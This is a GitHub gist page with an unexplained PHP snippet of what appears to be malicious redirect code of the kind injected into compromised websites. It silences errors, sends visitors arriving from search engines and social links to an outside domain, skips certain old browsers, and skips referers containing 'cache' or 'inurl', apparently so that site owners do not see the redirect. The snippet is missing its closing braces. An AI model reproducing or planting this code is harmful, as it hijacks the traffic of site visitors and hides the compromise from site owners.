Skip to content

Instantly share code, notes, and snippets.

@mertcangokgoz
Created January 24, 2019 06:34
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mertcangokgoz/25f1a0809d285108a21205dbfed3a29c to your computer and use it in GitHub Desktop.
Save mertcangokgoz/25f1a0809d285108a21205dbfed3a29c to your computer and use it in GitHub Desktop.
<?php
error_reporting(0);
$refer=headers_sent();
if (!$refer){
$referer=$_SERVER['HTTP_REFERER'];
$tars2=$_SERVER['HTTP_USER_AGENT'];
if ($tars2) {
if (!stristr($tars2,"MSIE 7.0") and !stristr($tars2,"MSIE 6.0") and !strstr($tars2,"Firefox/3.")){
if (stristr($referer,"yahoo.") or stristr($referer,"bing.") or stristr($referer,"rambler.") or stristr($referer,"webalta.") or stristr($referer,"t.co/") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url\?sa/",$referer) or stristr($referer,"facebook.com/l") or stristr($referer,"aol.com") or (preg_match ("/https:\/\/www.google\.(.*?)\//",$referer) and strstr($tars2,"Chrome/"))) {
if (!stristr($referer,"cache") and !stristr($referer,"inurl") and !stristr($referer,"EeYp3D7")){
header("Location: https://xxxxxx.com/");
exit();
?>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment